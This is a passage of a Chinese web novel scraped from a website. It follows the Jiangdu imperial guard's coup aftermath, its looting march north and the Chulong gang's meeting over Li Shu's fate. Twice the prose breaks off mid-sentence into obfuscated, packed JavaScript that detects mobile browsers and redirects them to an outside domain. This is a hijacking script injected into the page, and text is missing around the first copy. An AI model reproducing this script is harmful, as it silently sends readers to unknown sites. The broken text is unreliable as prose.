一箭当空飞来,射中火盆,数不清的离火真气随着仿佛被打翻的火盆散落在乌江城内,迅速点燃了许多火头。 而半空中,火盆也没有再**起来,而是化作一道赤色流光往西北方向而去……这是他唯一能去的地方,东南面还有一位鱼皆罗呢……而很显然,那把巨大的长弓也没准备就此放过他,长弓化作一阵青光,引着与东北侧的几道流光一起往西北面追逐而去。 至于乌江城,早就随着那一箭迅速陷入到了炸营状态……江都军大开四门,未及接战,便狼狈逃窜。 混乱中,秘书监袁盈乱军中被践踏而亡。 至于宗师来战儿,却在持续了半夜的追击后不知生死,消失在淮南方向。 到了翌日,也就是三月十五,宛如钉子一般钉在江都、历阳、以及大江对岸江宁中间的这支江都军,一夜消失……而江都-历阳-江宁也重新连成一体,三地三部禁军重新合一,构成了一个新的、完整的军事集团。 准确的说,这是一个完整的**军事集团,它拥有一个大家公认的太后,一个大家未必公认的皇帝,有完整的六部与南衙、北衙体系,还有三位宗师,十数名成丹高手,数十名凝丹高手,多达七八万之众的总兵力中,奇经、正脉修行者的比例也远高于中原各地任何一支军队。 大魏最后的军事精华,以完整的方式保存了下来,从硬实力上来说,依然足以傲视天下所有的武装割据势力。 而现在,解决了后顾之忧的他们,马上就要回东都去了。 PS:感谢新盟主jackchenYL老爷的打赏……感激不尽。 第八章风雨行(8) 第468章风雨行(8) 回东都! 司马化达也好,司马德克也好,心里非常清楚,他们必须迅速兑现承诺,如果在这件事上稍有迟疑,就会引发整个禁军集团的不满,反过来说,只要坚定的回东都,那禁军似乎就会牢固的团结起来。 实际上,他们自己目前也是想回东都的。 故此,在这个共同理念的加持下,外加这个军事集团相当高的军事素质,这才果断发动了一场突袭,以迅雷不及掩耳之势消灭了江都军,从而使得整个南下禁军连成一体。 接着,从三月十五日开始,江都城就连番发出布告,要求士卒开始收拾行囊,点验军械、战马,汇集粮秣、车辆、牲畜、舟船,准备启程归乡。 竟然是真的履行了之前三月十五月圆归乡的说法。 当然了,三月十五当日肯定回不去,但大家从这一日开始、从江都开始,立即忙碌起来,准备北归,却是一句实话。 这其中,不只是禁军们忙碌,连太后与小皇帝都在身体力行的辛苦忙碌……字面意义上的身体力行与辛苦忙碌……没办法,家里**了,又没人帮忙,他们只能亲力亲为。 具体来说就是,那日兵变,禁军杀了皇帝,杀了几个将军和一堆侍卫,杀了几个内侍,还杀了齐王的儿女,还造成了一些恶性治安案件杀了不少老百姓……其中,将军和侍卫有禁军收尸,内侍有内侍收尸,就连齐王的儿女和“齐王的尸首”外加江都城内被牵累的老百姓也被司马进达的下属统一收了尸,唯独皇帝被扔在了成象殿上,反正驻扎皇宫的禁军不愿意收尸。 要知道,这是三月晚春,风和日丽,虫蚁丛生,又到处是血,不过五六日,就已经臭烘烘的满地爬蚂蚁、窜老鼠了……甚至还有蛇! 那太后跟小皇帝怎么办呢?那是你正经半辈子丈夫,双方感情一直很好;那是你亲爷爷,虽然对你爹不咋地,但对伱还算一直比较宠爱,你们俩不收,委实没人收了。 偏偏宫人和内侍们也因故不能或不愿帮忙,外面的人比如国舅萧余这种也进不来帮忙。 于是乎,即便太后也是头发花白的年纪了,小皇帝也刚刚长成身子,可俩人只能在那里亲手拆成象殿的门板做“棺材”,然后用白布蒙面装殓……这个过程已经折腾了好几日,原本还想在后花园挖个坑,结果挖到一半的时候,禁军又来催促,无奈只能亲手将“棺材”拖来,然后匆匆覆土,土不够,就拿砖瓦来凑。 至于碑什么的,现在肯定来不及,太后也不知道自己将来还有没有机会跟对方合葬,便只好记住旁边树木池塘的位置,便随禁军出发了。 没错,禁军只耽搁了五六日,把兵马撤回来,收集了周边城镇的粮食就立即出发了,堪称神速。…. 非只如此,禁军到了眼下这一步,居然还是不乱……几日内,他们便商议妥当,部队按照前卫-主力-后卫的方式前行,吐万长论部为前军从大军西侧稍微先行北上,江都大队自正常的运河官道随后,鱼皆罗随即渡江为殿后……这样既能保持军事上的一体,又防止了鱼皆罗与吐万长论这两位宗师进入主力部队,影响这个**集团的**平衡。 不过,也就到此为止了,一群军人,怎么可能一直英明神武,一直相忍为大家呢? 那样,他们早三年就回东都了好不好? 实际上,撤离当日,江都便爆发了一场巨大的骚乱。 事情起因很简单,曹彻在此地四年,在民间一直没有停过搜罗美女,前后大约千人……那么现在禁军要走,要如何处置这些本地和江南的美女? 放回家?开什么玩笑! 禁军上下先行讨论的结果很简单很一致,那就是把这些美人分给当日宫变有功之臣做妻妾。 说白了,就是要分女人。 当然了,这事没这么简单,之前几日内,一直有一个巨大反对力量,或者说是一位强力反对者……为了宫中上下打起精神的牛督公以北衙督公的身份公开、坚决的反对,他认为这些本地选的美人不只是宫妃,实际上大部分还是宫人,一旦开这个口子,宫中剩余内侍、宫人迟早要被当成官奴一般被禁军继续瓜分下去的。 这就好像狼一旦吃羊,就管不住自己嘴了。 对于三司马而言,牛督公其实不可或缺,因为这位督公是他们用来钳制一前一后那两位宗师的核心棋子,必须要重视。而对于司马化达兄弟来说,可能还要更重要一些,因为牛督公还是他们在内压制司马德克和禁军其他离心者的重要砝码。 故此,三司马和其余高级将领最终放弃了原方案,准备按照牛督公的意思将这些本地和江南女子留下,让她们自归家乡。 用司马化达的话来说,就当牛督公好色,这些宫人全都拿来收买牛督公便是。 然而事情虽然这么定下,可是临到二十一日出发这天,还是出了问题……当时军队已经开拔,宫中内侍、宫人,外加文官,以及小皇帝、太后,还有后勤辎重车队,都已经**起来出发,留在宫中的这些南方美人亲眼目睹队列出发,有些人没有按捺的住想归乡的念头,居然尝试逃离宫城。 结果呢,结果是,前面出发的队列中相当一部分人需要在城北运河渡口上船,所以许多禁军根本还在城内呢,数百名美人直接一头撞到了后续禁军的阵列中。 这些禁军如何能忍,当即当场抢夺起了这些美人。 只一抢,混乱很快就漫延出来。 要知道,虽然大魏之前分批次赏赐宫人给禁军结婚,还有一些官员、军士干脆是自家在江都这里安了家,但这种婚配相对于庞大的禁军军队而言到底是少数,绝大多数人,还是打了四年光棍的单身汉,早就忍耐不住。…. 非只如此,之前的皇权约束现在也没了,律法和军纪似乎也没了,再加上已经启程,多少的挨了一种都要走了不抢白不抢的心态……于是乎,劫掠女子的行为,很快就形成规模……一开始是这些从宫中逃出来的美人,然后就是主动往宫中,接下来就漫延到了城中本就不多的住户的妻女,然后是城外,以及各处乡野市集。 而且一旦施展了暴力又怎么可能只是劫掠女子? 烧杀抢掠,肆无忌惮。 平心而论,三位司马仆射也好,禁军其他各处高层也好,包括文官的几位头面人物,还有早就表明立场的牛督公,甚至包括没有表态资格的皇太后与小皇帝,都是不愿意看到这一幕的。 但到了这个时候谁也控制不住局面,这反过来更加加深了他们的不安乃至于恐惧。 “牛公,我尽力而为了。”江都城北运河西侧河堤上,司马化达摊手来对,他的东面是运河,西面是官道,此时全都络绎不绝,而他面对着的江都城,混乱和火灾已经则漫延到了全城。“可没办法,我连上头几十个中郎将都没法收拢,如何能越过他们去管下面?” 牛督公面色铁青,颌下花白胡须似乎又白了许多。 “名不正则言不顺。”司马进达也随之开口,却居然当众直接了当的自嘲起来。“我们几个弑君之人,如何能服众?便是做了仆射,大家也只会想,那是我们动了手换来的,他们来动手,也能如此。” “这倒是个大实话。”司马德克脸色同样不好看。 “但也没办法。”司马进达瞥了周遭几人一眼,继续讽刺道。“总不能真让咱们的新皇帝主政吧?” “这不是想不想的事情。”赵行密冷笑一声。“依着军士对成象殿里那位的愤恨,真要是认认真真打着大魏曹氏的旗号,下面反而要生乱!” 虽然有些一唱一和的意思,但没有人反驳,这就是一个叛乱加**军事集团的根本问题,他们很强大,但内里的权力结构却不够稳固,驾驭和控制这个集团需要很多东西……就目前而言,他们连领导层都不够稳固,遑论层层叠叠,按照军中阶级法控制整个军事集团了。 “到淮水再说吧!”沉默着思考了好一阵子,也看了好一阵子突然遭此厄的江都城,司马化达忽然甩下一句话来。“到淮水再说吧。” 然后,直接转身下了河堤,上了战马。 随即,牛督公回身往运河上的舟船腾空而去,那里数十艘船只用麻绳联结,宫人、内侍,还有皇太后、皇帝,一些仓城里的储存,全都藏身于此,而牛督公闪在已经启程的船队上方,忽得就不见了。 河堤上几位禁军高层都打量了一下这个明显自成一体的船队,然后也都散开,催促整理军队北上。 再往后的路上,除了烧杀劫掠,并无太多意外,而到三月底的时候,这支强大的**军事集团便抵达淮水南岸,前卫部队吐万长论在上游,主力集团在下游。淮水北岸,徐州一带,杜破阵已经紧张到了极致……他比谁都清楚,自己这两三万残兵加新兵,根本挡不住对方一击。…. 但出乎意料,其人虽然连番向身后发出信函告知军情,却意外的没有向黜龙帮求援。 至于这个时候汇集在黎阳的黜龙帮高层,碍于路程的缘故,其实刚刚得知了江都兵变的消息,但说实话,从前日开始得到命令陆续集结的他们有着充足的话题,似乎江都兵变一事,并不能在其中有什么充足的优先级。 汇集到黎阳当然是要开会,这当然是黜龙帮的传统,就好像禁军觉得办事就应该兵变一样,大家都觉得黜龙帮就该开会。 开会的地方其实是在黎阳仓仓城前的平台上,而且是在下午,但从早上开始,数里外的黎阳城内便已经活泛起来,尤其是张行、魏玄定、李定一起入住的县衙左翼公房外侧院中,早已经汇集了不少的头领。 这些人主要是河南各处头领以及之前没有来得及见到张行的河北大兵团成员,一开始只有十几号人,但随着日头上升,人也越来越多。展开的话题也越来越纷乱,却果然没几个人在意江都兵变……当然肯定是提了,毕竟**那个皇帝。 但还得说句良心话,虽然大家都恨那个圣人入骨,可真等他**,却并没有多少意外或者大仇得报的感觉。 那种感觉的确有,却是在一开始**夺取了本土政权时才是高峰,现在反而有些新的念头了……就好像那个皇帝已经是过去的事情一般,还不如张世昭突然冒出来说自己比一多半头领入帮都早要让人惊讶。 “现在别的都不要讲,最要紧的还是李龙头的事情,到底要不要杀?”纷乱中,坐在墙根一个条凳上的八臂天王张金树忽然语出惊人。 “李公何罪如何喊打喊杀?!”一直没吭声,明显有些疲态的房彦朗就在角门外,闻言准确寻找到了张金树,并当即呵斥起来。 要是不担心他**,你们这几个人为什么也守在这里?张金树抱怀以对,心中冷笑,却一声不吭。 房彦朗见对方如此,反而无力。 “杀不杀不说,罪肯定是有的……要是真让他把河南的兵马全带走了,首席以下,这么多大头领、头领,总管、分管,外加七个最顶尖的营,都要死在北面的。”原本跟李枢交好,最终因为本土力量的推动选择跟单通海渡河的黄俊汉此时开口,却不知道是想卖谁的好,又是什么立场。 “这就危言耸听了吧,便是济阴行台不救,河北的大兵团难道不救首席?”刚刚抵达没多久的崔玄臣打起精神,也赶紧反驳。 却不料,这话立即引起了当时在大兵团的许多头领不满,夏侯宁远当即驳斥: “人家就等着大兵团过去,好打我们个落花流水呢!不然我们如何会分出骑军三个营绕后?崔分管,不懂军事就不要乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们是黜龙帮,是要剪除暴魏,安定天下的,是要黜擅天下之利者,还天下一个朗朗乾坤,不是你们说的那个什么帮派!”一直没吭声的小房房彦释寻到破绽,终于也厉声开口。“做事要讲规矩。” “自然如此,自然如此……可要我说,不管怎么样,便是首席大度,便是按照规矩来,他今日也该主动认错,然后听凭发落,因为河北的兄弟是在拼命的。”窦立德居然不气,只是为对方做分析。“你们看看小周头领,现在还站不起来,其余死伤的兄弟那么多,各郡损失也那么大,难道还不许他们撒个气?咱们河南的兄弟要拿稳立场。” 房彦释手足无力,哑口无言。 “其实,我大约能看出来,首席还是想保李公性命的,但大家怨气都很重,而且可惜,白总管也不在,否则大头领们那一层还能有些说法。”窦立德见说倒对方,却又没有乘胜追击,反过来上前安慰这几位清河老乡,李枢旧人。 “白总管那里有消息吗?”单通海忽然开口,正色来问。 “确定是飘到东夷了……有些走海线的兄弟们都说,肯定是青帝爷爷做的局面。”二鲁中的大鲁赶紧做答。 “青帝爷为什么做这种事?那可是我们五六个营外加所有水师!”单通海只觉得荒唐。“只是遇到海风吧!” “那谁知道?” “东夷怎么说?” “东夷人……不知道,现在只晓得登州那边飘到了东夷,一万多人,那么多船根本没法遮掩,别的都不知道。”…. “这算什么事啊?怨都不知道怨谁?怨青帝爷?”听到这里众人都无奈起来。 “也没必要怨,没耽误事。”有人安慰。 “怎么不耽误事?现在江都兵变了那些人肯定要回东都,登州这一万多人要起大作用的……说句不好听的,若不是白总管被飘走了,她才是最适合的徐州行台龙头,如何能让杜破阵得了这个大便宜?”张金树终于回到议论中,却气得跺脚。 “说起杜破阵……二弟知道吗?我听人说,徐州那边若非是首席去得快,李枢要被淮右盟跟我们自家的一些人给联手做了,根本没机会留性命到今日。”落在外面的翟宽忽然低声来问自家兄弟。 “首席早猜到了,当日才那般匆匆走了一遭徐州。”翟谦似乎真有信息。 “怎么说?” “当日大兵团没赶得及,只是魏公他们、北面援军、河南援军、突围主力聚拢了半搭子人,稍作安稳而已,当晚首席便说,李龙头这般行事,是自寻死路,他不能让黜龙帮正经的龙头死在外人手里,所以才要匆匆离开河北去寻人……”翟谦蹙眉道。 “若是这般说,李枢也该死,河北这么多事,登州也出了事,马上江都也出事……哪个不要用尽全身力气来做?偏他惹事!”翟宽这个时候倒是有些居高临下了。 各处正乱着呢,那边单通海和窦立德直接入内去了,翟谦也匆匆跟上。 须臾片刻,角门内忽然有脚步声传来,接着闪出来一个大家都有些陌生的高大汉子,却只立在门前朝众人一拱手,众人晓得这便是秦宝,乱糟糟的拱手回礼,而只是一回礼之后,不知为何,原本乱成一团的院内立即秩序井然起来,所有人都不再言语,而且所有人也都站了起来,并往角门那里蜂拥了上去。 “你们起这么早,都不累吗?”单通海、窦立德、翟谦几人先有些面色古怪的鱼贯而出,然后张行便跟着走了出来,身后则是正在想什么的李定。“早饭用了吗?” “大家过来,正是要请首席一起去用廊下餐!”张金树伸手一指。 其余人也都附和,几乎人人带笑,一时间气氛好到了极致。 “好,同去。”张行立即赞同,然后回头喊角门内还拖着的一人。“李龙头,咱们同去。” 随即,一人在贾润士的陪同下从角门内走了出来,脸有点黄,却没有多余表情,正是随张行从徐州折返的济阴行**政总指挥,帮内龙头李枢,而不是大家以为的魏玄定。 外面的一众头领,好像凭空卡了一下一般,然后又恢复了之前的气氛,晚春怡人的早晨,众人一起乐呵呵的簇拥着张首席和两位李龙头去吃廊下餐。39314340. ... 第九章风雨行(9) 张行一起床,门外就许多人,来到外面公廊下吃早餐,周边人就更多了。得亏是雄伯南、陈斌惯起的早,带着一拨人先吃了,魏玄定跟徐世英还没过来,否则不知道折腾成什么样子。 早饭没什么可说的,左边右边两个李龙头,一个若有所思,一个若有所想,两边夹着,其余人想来递话都难。 于是张首席自家也不知道想起了什么,反正也是一副思考人生的模样。 不过,廊下还是很热闹的,因为更外面两位,一个窦立德,一个单通海,就是另外一个状态了……周围人与他们轻松攀谈、说笑,他们全都接下,然后这两位本人该严肃的时候严肃,该和气的时候和气,有时候皱眉批评几句,有时候开几句玩笑,倒是让廊下气氛显得活跃。 但这更加衬托出了最中间三位那里的冷清。 周围人自然心里也会有嘀咕……这里面,李枢想什么最好猜,李定想什么大约能猜到,张首席想什么,就无人知道了。 吃完早饭,李枢先行起身离开,贾闰士在后直接跟上,二房一崔想起身,却因为离得远,周围人又多,根本来不及跟上。而稍倾片刻,张行和李定也吃完饭各自起身,其中李定去寻自己的部属,张行却是径直来问:“哪个是韩二郎,哪个又是黄大郎(黄屯长)?都来了吗?” 众人立即嚷嚷起来,却发现这二人显然是新晋的,根本不晓得廊下食的规矩,没来一起吃饭。 便有人去喊。 张行也不急,就起身让了座位,只到旁边一个大开门的公房里坐着来等,秦二之外,窦立德、单通海等人也都跟了进来,颇坐了几人。 须臾片刻,韩二郎和黄大郎匆匆被喊了过来,张行便起身来迎。 结果,也就在这时,忽然间陈斌带着谢鸣鹤、崔肃臣几人从斜刺里杀出,远远便喊:“首席,可有空隙,我们有话要问你。” 这三位是真正的帮内高层加骨干,张行也没法子,只能起身朝韩二郎那边招呼一声:“你们吃没吃,没吃先吃饭,吃了一起去。” 说着,还是往陈斌那边去了。 韩二郎俩人不敢怠慢,即刻转向,窦立德跟单通海对视一眼,也面色如常,随之而去。 “首席,李枢是死是活?”转到陈斌落脚的院子里,不顾旁边还跟来四五位头领,此地主人便直接蹙额来问。 说来好笑,这种敏感问题问出来以后,绝大部分人居然全都面不改色,便是韩二郎也没有色变,只是盯住了张行而已。 实际上,明显愣住的只有黄大郎与张首席本人。 张行顿了一顿,反而失笑:“我还以为你们要问江都兵变的事情呢。” 这下子,不少人都懵住了,虽然知道消息,但还真没想过会是最重要的一条。 “江都那里最麻烦、最严肃,是接下来最大的军国之事,但攘外必先安内,不把李枢处置了,根本没法安排人事,不安排人事,就没法赏罚,然后安排布置来对江都。”陈斌倒是逻辑清楚。 张行点点头,坦诚以告:“我觉得这件事情,李枢生死不足为道,交给下午会上头领们自议就好,包括日后结局如何,也都随他造化……” 这话是真心话,李枢是死是活,是撵出去还是降级闲置,再然后此人是**又或者是逃出去,都无妨的。 每一个结果张行都做好了心理准备。 而院内几人稍微一愣,不待他们来想,张行也便继续给出了关键:“我之所以过去,是为了咱们黜龙帮的脸面,是为了帮内不坏了规矩,更是为了让这件事只框在他身上,不让他牵累其他兄弟……你既问了,那我便直言不讳,今日咱们也应该以这个为准,不该多做牵累。” 陈斌等人各自恍然。 其中,窦立德和单通海面色不改之余,还都忍不住再度对视一眼……无他,这俩人早上纯属撞到了,根本来不及试探,现在却是恍然,对方跟自己一样,都是捞人来了! 其实道理很简单。 首先,大家看的清楚,三四年内,李枢在被这位张首席用接近于王道的手段一次又一次、一层又一层的挤压后,终于顶不住压力做出了那种事情……真的是王道,安排个张世昭做间谍这种事情,根本不算什么……那从权力斗争角度来说,现在张首席已经胜利了。包括他匆匆去徐州,将人带了回来,也的确做到了他之前的意思,也就是防止**件发生,以免坏了帮里的规矩,算是维护住了黜龙帮的尊严和秩序。 可即便如此,大家依然还是关心李枢的生死和结果,却正在于张行这番话了……大家都这事会不会牵累济阴行台乃至于河南各处的其余人等? 单通海作为济阴行台目前的内部实际领头者,当然想保护那些人,并收拢这些人;而窦立德嘛,原本应该跟这些人这件事没关系的,但架不住此人几乎是张行以下最擅长团结人的那个,他就是见到人就想伸手,而且确实有伸手的渠道,李枢的几个基本支柱,居然都是清河人,包括一些其他的河北世族……这些河北世族,之前跟窦立德那些中下层泥腿子义军并无关系,甚至是敌对立场,现在却在黜龙帮的大环境下有了合流的条件。 “这事还得两说。”陈斌明白张行意思后,却在沉思片刻后明确表达了不同意见。“这件事情里面,有的人确实无辜,但有的人却是真犯了错的,本就该处置。” “比如呢?”张行正色来问。 “房氏兄弟和崔四郎本就是李枢私人,杜才干也是……”陈斌毫不客气。“他们这些人,留之何用?” “黜龙帮没有私人,便是因为私情入了帮,可都有自己的职责,也都能在下午这种会上举一手……能做到这一点,就不能因为人家经常在一起就说人家是私人。”张行认真提醒。 “难道这天下就没有私心杂念了?”谢鸣鹤突然插嘴。 “这就要看有没有酿成祸乱。”张行正色回复。“酿成了大乱,哪怕是大多数人一起同意的,那也要检讨,领头人的人也要负责;没有酿成大的祸乱,就看错误是谁直接犯下的,不能搞诛心,因为一旦诛心,如何能定边界……现在咱们说杜才干也是,可凭什么呢?若是杜才干是,那柴大头领呢?邴元正呢?张金树跟张亮也跟过去,论迹不论心,他们算不算?” 陈斌和谢鸣鹤都一时沉默,周围气氛也有些紧张。 韩二郎与黄大郎第一次来到这种场合,见到这种讨论,本就有些晕,只觉得这个说的对,那个说的也对,再加上他们根本没有几个人脉,对一些事情完全是稀里糊涂,看到一时僵硬,就更显得不安了。 不过,其余人却多晓得张行是什么意思。 这位首席走之前说担心李枢在徐州被人宰了,那么大家想着,于外当然是淮右盟、內侍军、知世军这些半盟友半附庸的外人半外人,于内就是张金树和张亮这些个人。 然而,张行虽然刚刚回来河北,徐州那也没有闹出乱子,但还是有些说法通过一些渠道传了回来的……据说,当时真正有动手迹象的几个人,外面自然是的杜破阵、王焯和王厚,里面居然是柴孝和打头,带着邴元正、张金树、张亮! 张金树和张亮是张行以军法部的名义留在河南的监察棋子,就是干这事的,但柴孝和、邴元正这两位原本公认的李枢旧人还是让人很惊恐……唯独仔细一想,柴孝和是正经的大头领,地位摆在那里,邴元正则是当时那个团体里唯一的东境本土人,也不是没有理由……但还是让人觉得惊恐。 “这事没有比我更清楚的了。”单通海适时开口打破了沉默。“当时我们几个渡河过来的头领都在,刘黑榥也在,去徐州的事情就是李枢一意孤行,不信,可以挨个来问。” “那剩下的人就是被他裹挟的了。”窦立德随即跟上。“便是现在奔走来救,那也是念及旧情。” “首席,我不是不同意你的这个方略,但事有缓急,白横秋刚走,江都禁军马上就到,堪称大敌当前。”陈斌顿了一下后,无奈继续来劝。“你想过没有,如果我们现在松了一下,会不会导致一些人枉顾军纪帮规,然后在战事中再度酿成跟李枢这次一样的祸乱?就南边那些人,他们这次虽然是反的李枢,却也是作乱的心态,跟我们不能说是一条心。” “若是这般说,我们从严了。”窦立德可不惧陈斌,直接接话来反驳。“会不会让一些原本清白的自家人反过来心生畏惧呢?比如说杨得方、范定兴、郑德涛那几位一直在东境东南面辛苦的文职,这次他们根本没有去徐州,却按照要求提供了粮秣,偏偏还是李枢的旧部……惊惧之下人人自危又怎么说?他们可比我们都入帮早。” “那窦大头领的意思呢?”陈斌毫不客气反问。“该如何处置,可有条案?” “我跟首席想法一样,就是觉得大战之后,该以安抚人心为上!”窦立德毫不犹豫将自己的立场抛出。“只处置李枢一人即可。” “我刚刚说的话难道是白说了?”陈斌无语至极。“什么叫做大战之后?这是大战间隙!江都禁军马上就来了!我们怎么办?” “江都禁军有确切消息了吗?”单通海严肃起来,问了个不少人都想问的问题。 “江都禁军既然兵变杀了那昏君,必然要北上回东都的……回东都,就意味着七八万大军,三四位宗师,十几二十个成丹,几十个凝丹,要从我们东境地盘上过……到时候,济阴、东郡这种核心地盘都有可能被攻击。”谢鸣鹤立即解释。“而梁郡、洛口仓所在的荥阳,几乎是必然要被扫荡。” 面色有些难看的单通海立即看向张行:“首席,果真如此?” “十之**。”张行平静以对。 院内树影之下,一时骚动,这个不是没想到,而是人在河北,真的觉得有点远,而且毕竟刚刚结束了一场惨烈战事。 过了一阵子,骚动平复,窦立德再度开口,却是坚持了自己意见:“若是这般,还是该安抚人心为上,否则就不是人人自危了,而是要直接降了投了也说不定。” “正该今日处置了,不然反而是给他们降了、逃了的机会。”陈斌也坚持己见。 两人例行打成这样,又不是之前魏玄定领着相忍为帮的时候,自然齐齐来看张行,以求做个决断。 张行想了一想,又看了看周围人,给出了一个意外的答复:“我之前说不要牵连,确实没从马上要到的军事情境上来想,但不是我疏忽了,而关于禁军北返的事情,我在徐州时便有了些想法,在徐州也已经布置了一些东西,恰恰牵扯到了你们说的这个……诸位,我这个话不要外传……我觉得对付禁军不能用硬的,而且禁军强横,尤其是一开始进入淮北的时候,根本势不可挡,再加上那边本就有许多跟我们只是名义上的从属,投降什么的,不可避免。所以,也不要顾忌他们会不会降什么的。而如果有要保护的人,也可以调到河北这边来,不用非得喊打喊杀。” 事关重大,众人一时都不好说什么的,但看陈斌和谢鸣鹤的样子,应该是意识到了张行的意思,各自醒悟颔首,这件事却是定了下来。 不过,窦立德和单通海却并没有胜利者的心态,恰恰相反,这两人都有些严肃……窦立德是敏锐察觉到了自己的麻痹大意,眼里只有河北,心里只有人事,却根本没有注意到江都禁军的事情,黜龙帮到底还是在打天下的阶段,军事胜利是主要问题,必须要重视;单通海就更简单了,他其实类似,只不过他注定要直面禁军,压力更大。 “今日是这样的。”张行现在也不想多讲这个话题。“下午先开会,主要是确立人事;确立之后,晚上大头领开会,再统一商议一下对禁军的策略,是让开还是阻拦,是驱逐还是消灭……何况这件事情还要考虑东都的问题,司马正是敌是友?以将来的情势来讲,他又该是敌是友?” 众人会意,都不再多言此事。 至于人事,谁都想问,可是头领们不敢问,几位大头领又过于敏感,也不好问,唯独还是那句话,事关大家前途根基,而且李枢都彻底倒了,李定都降了,白横秋走后,现在张首席的人事议案基本上不会产生阻力了,又怎么可能不旁敲侧击呢? “李枢的事情倒也罢了。”陈斌想了一想,正色来问。“首席,你的议案是不是有点仓促?一回来就开会?” “是仓促,但不是猜到江都要出事吗?”张行有一说一。“曹林一死,当时大家就说,江都要出乱子,现在看来,反而有些慢了。” “这倒也是。” “而且,我也不是自己做的提案,走前给你们留的那些事情,其实就是这次的基本构架,不会超出太多……换句话说,今日议案就是让你们做的那些合起来,而且是请魏公合的。”张行进一步做了说明。“大家不要有顾虑。” 许多人心中稍微一松,韩二郎跟黄大郎更是惊异……人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167963|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事这种事情不该是首席一个人抓在手里不漏的吗? 除此之外,也还是有人明显犹疑。 张行见状也笑:“老陈,我离不开你这个大管家,你放心吧,大行台立起来后,你一定要来继续来文书总管,若是不能过,我单独提出来。” 陈斌如释重负,众人也都笑,内心却反应不一……许多人都是苦笑,陈斌这个人,处理庶务很有一套,但过于严厉了,大家都怕他。 不过,这么一算的话,空出来的原本的将陵行台,却不知道会是谁来领了? 还有登州,登州跟无棣几乎一空。 还有刚刚拿下的汲郡、魏郡,降服的武阳郡。 还有武安郡,也不知道张首席跟李定如何做的约定,据说是五个营?七个头领? 真是一团糟。 正想着呢,张行倒是终于主动开口了:“韩二郎,清河崔氏那里怎么说?” “属下惭愧。”韩二郎赶紧站起身来,略显尴尬。“崔傥扔下兵马家宅,带着一些崔氏子弟逃去信都了,我修为太低,根本拦不住也没发觉。” “这算什么惭愧?”张行笑道。“你一个据说刚刚碰了奇经的人,带着几队屯田兵,破了三次**,杀了两个大将,最后吓走了一个宗师,若是这般算是惭愧,其余人都没有立足之地了……而且,崔傥也是狡猾果断。” 众人纷纷颔首……这可不是大实话嘛……韩二郎就是这一战最出彩的一个,而崔傥也委实狡猾,大家都觉得他一个宗贼,离不开老家,却忘了人家真走了,这还有个忠心耿耿的崔二郎就在院子里坐着呢,难道还能拆了崔氏老宅不成? 不过也有人诧异,张首席惯会收买人心的,这韩二郎如此出彩,如此功勋,如何只是坐着夸一句,也不拉个手什么的? 实际上,秦宝都觉得疑惑。 疑惑归疑惑,张行离开此间,又如与此间一般,继续跟魏玄定、雄伯南、柴孝和、徐世英、周行范几人分开谈了一场,每次也都有五六个不同的头领跟随,算是尽量通了气。 等到跟高士通、刘黑榥这一批人说完,便也到了中午,就一起出城往城西南的仓城平台上过来。 时值晚春,黎阳城居于河畔,又难得有两座山,一青一黄,倒也显得出春日风采。 来到仓城这里,远远便看见当日发粮食的平台上已经将那个红底的“黜”字旗挂起,座位也分成内外两圈摆好,诸头领到底是把什么江都禁军将至、什么登州军消失在东夷给按了下去,只打起精神来听大家所有人都最关心的人事以及以人事为基准的赏罚问题。 进入仓城,上了平台,这时候大家才发现,头领们的座位都是定好的,而且是按照姓氏繁简自内而外排列,倒是更加无话可说。 而张首席来到这里,更是先催促众人落座。 须臾片刻,众人便都坐下。这个时候,张首席方才带着几位龙头、大头领走进去,外面的头领们刚要再起身,却被他制止,而且当众喊了一人: “韩二郎在哪里?” 韩二郎只是临时表的头领,需要马上的人事提议通过,才能落座,此时正在最外面跟一位姓张的据说是什么智囊的老头,还有黄大郎,以及今日见过的秦宝,几个光头站在一起,闻得招呼,也不知道如何回应,被秦宝推了一把才踉跄往里走。 未走到跟前,张首席先迎上去,然后挽住对方,回到中央,方才扭头来对众人:“诸位,这就是那个清河本地降将出身,以副屯长的身份带着几屯屯田兵废了白横秋一臂的韩二郎!” 不只是外圈头领,更外面一层,除了维持秩序的甲士,准备将们、文书参军们、本地临时发遣的官吏们、黎阳驻军的军官、以及部分要跟韩二郎一样确定身份的功勋之人,闻言纷纷翘首以对,继而交头接耳,议论纷纷。 韩二郎脸上涨的通红,完全不知所措。 过了片刻,等周围安静后,张行继续捉着人家扬声来言:“诸位,记住我一句话,黜龙帮若有一百个韩二郎,我张行这个首席,今日便能借着诸位的光,证位至尊了!” 众人再度轰然,却不乏开始有人妒忌和不满了,而张行这才松了手,让韩二郎回去,还不忘鼓掌相送……周围人见状,纷纷仿效,连李枢都鼓了掌,倒是真有几分雷鸣之态,将这些杂音给完全盖住了。 等到这一波落下,张行也落座,魏玄定当仁不让,站起来主持会议:“诸位,咱们黜龙帮规矩,大战之后必有决议,今日也是如此……军事还没有平稳,咱们闲话少说,首席要先跟大家讲一件事情。” 张行站起身来,环顾四面,真气鼓动,确保所有人都能听到: “诸位,具体军事讨论和经验,徐世英头领已经带头讨论了,各营自家也有,我只说这一战的大略,也就是做一个战略上的解释。 大家都知道,不知道的我现在告诉大家……那就是这一战,白横秋过来确实未必能猜到,可取了黎阳仓召来大宗师报复,却是我们这些负责军务的龙头们、大头领们早就猜到的。但为什么猜到了还要顶着大宗师的威风来打黎阳呢?实际上,我知道,现在有些帮内兄弟姐妹还是转不过弯来,觉得这一仗损失太重了。 但我要说,这种想法不对。 